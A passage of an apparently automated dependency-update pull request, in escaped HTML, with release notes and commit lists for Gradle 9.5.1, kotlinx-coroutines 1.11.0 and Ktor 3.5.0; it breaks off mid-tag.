Vanjare\u003c/a\u003e,\n\u003ca href=\"https://github.com/urdak\"\u003eVictor Merkulov\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eUpgrade instructions\u003c/h2\u003e\n\u003cp\u003eSwitch your build to use Gradle 9.5.1 by updating your wrapper:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e./gradlew wrapper --gradle-version=9.5.1 \u0026amp;\u0026amp; ./gradlew wrapper\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSee the Gradle \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/upgrading_version_9.html\"\u003e9.x upgrade guide\u003c/a\u003e to learn about deprecations, breaking changes and other considerations when upgrading.\u003c/p\u003e\n\u003cp\u003eFor Java, Groovy, Kotlin and Android compatibility, see the \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/compatibility.html\"\u003efull compatibility notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eReporting problems\u003c/h2\u003e\n\u003cp\u003eIf you find a problem with this release, please file a bug on \u003ca href=\"https://github.com/gradle/gradle/issues\"\u003eGitHub Issues\u003c/a\u003e adhering to our issue guidelines.\nIf you're not sure you're encountering a bug, please use the \u003ca href=\"https://discuss.gradle.org/c/help-discuss\"\u003eforum\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWe hope you will build happiness with Gradle, and we look forward to your feedback via \u003ca href=\"https://twitter.com/gradle\"\u003eTwitter\u003c/a\u003e or on \u003ca href=\"https://github.com/gradle\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003e9.5.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/fd78213f09782e62ca4957f9cfd3d90c6c3f1767\"\u003e\u003ccode\u003efd78213\u003c/code\u003e\u003c/a\u003e Update Documentation Infrastructure: Fix scrolling issue in user manual (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37861\"\u003e#37861\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7758437128d1c52702786ad719a13ade1b860aa8\"\u003e\u003ccode\u003e7758437\u003c/code\u003e\u003c/a\u003e fix scroll\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/2fd605fdcd69fea10570e9eb1343bbd7ca01c9d0\"\u003e\u003ccode\u003e2fd605f\u003c/code\u003e\u003c/a\u003e Only try to run as worker thread in DefaultBuildOperationQueue (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/af6984901238402386ae263d746380504e5f9138\"\u003e\u003ccode\u003eaf69849\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1 (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37853\"\u003e#37853\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/f4d9d03e9bb47d2d17b6d8314fdaa32c3d0b3c1e\"\u003e\u003ccode\u003ef4d9d03\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/01eda3adf40dbe97e81475e813705409dcfe1091\"\u003e\u003ccode\u003e01eda3a\u003c/code\u003e\u003c/a\u003e Address review feedback on worker-lease retry changes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7024e15139b2db9df831dd15a8b9e9052acd9a51\"\u003e\u003ccode\u003e7024e15\u003c/code\u003e\u003c/a\u003e Revert enrich file visitor with size info on \u003ccode\u003erelease\u003c/code\u003e branch (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37848\"\u003e#37848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/d51476fda21330c037a04b43ec9a93a929d05b87\"\u003e\u003ccode\u003ed51476f\u003c/code\u003e\u003c/a\u003e Fix tryRunAsWorkerThread null-return test to match contract\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/090ebabc5b6f648e01c0269a321d80372fdbfe0f\"\u003e\u003ccode\u003e090ebab\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Add getLength() to FilePropertyVisitor.VisitState\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/bceab24677298144860f6919bdcb031e806dbf23\"\u003e\u003ccode\u003ebceab24\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Fix annotation\u0026quot;\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/gradle/gradle/compare/v9.4.1...v9.5.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jetbrains.kotlinx:kotlinx-coroutines-core` from 1.10.2 to 1.11.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/releases\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. B\nefore, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/blob/master/CHANGES.md\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. Before, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/8564f65764d3d05893cec026c6e94250e2b23874\"\u003e\u003ccode\u003e8564f65\u003c/code\u003e\u003c/a\u003e Version 1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/a4c6af96c15fe30f5d4e8b810ea74f8babd5805c\"\u003e\u003ccode\u003ea4c6af9\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/ef917b460aa741691fbf991ee1b813049cae18c9\"\u003e\u003ccode\u003eef917b4\u003c/code\u003e\u003c/a\u003e KT-84955: mark apple x64 tagets as deprecated error (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4645\"\u003e#4645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/5ebc421e341bf2ddce734d369da87df1985e80bd\"\u003e\u003ccode\u003e5ebc421\u003c/code\u003e\u003c/a\u003e Update the release procedure description (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4670\"\u003e#4670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/95f46a073bc4a1230352108cea1835fd22219a80\"\u003e\u003ccode\u003e95f46a0\u003c/code\u003e\u003c/a\u003e Remove old maven repository settings (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4672\"\u003e#4672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/b4f4f0aa6acb692f3fbcadd70e4958e3e9d370fc\"\u003e\u003ccode\u003eb4f4f0a\u003c/code\u003e\u003c/a\u003e Fix package name of \u003ccode\u003eToMapCollectionSamplesTest\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4674\"\u003e#4674\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/86738dca7dc9ac82249abc8206263fa0065ee631\"\u003e\u003ccode\u003e86738dc\u003c/code\u003e\u003c/a\u003e Added templates to the issue creation wizard (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4654\"\u003e#4654\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/330fcc221fb583f0b119f34191f735a73b827378\"\u003e\u003ccode\u003e330fcc2\u003c/code\u003e\u003c/a\u003e Version 1.11.0-rc02\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/e31cef6e9f2d26794be7d75ecbf3033b6432d582\"\u003e\u003ccode\u003ee31cef6\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/dc6e9f61eaf3a67f4bf474a7987aedc3f16cef37\"\u003e\u003ccode\u003edc6e9f6\u003c/code\u003e\u003c/a\u003e Restore Promise-related functions on Wasm/JS as HIDDEN (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/compare/1.10.2...1.11.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-content-negotiation` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-content-negotiation's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 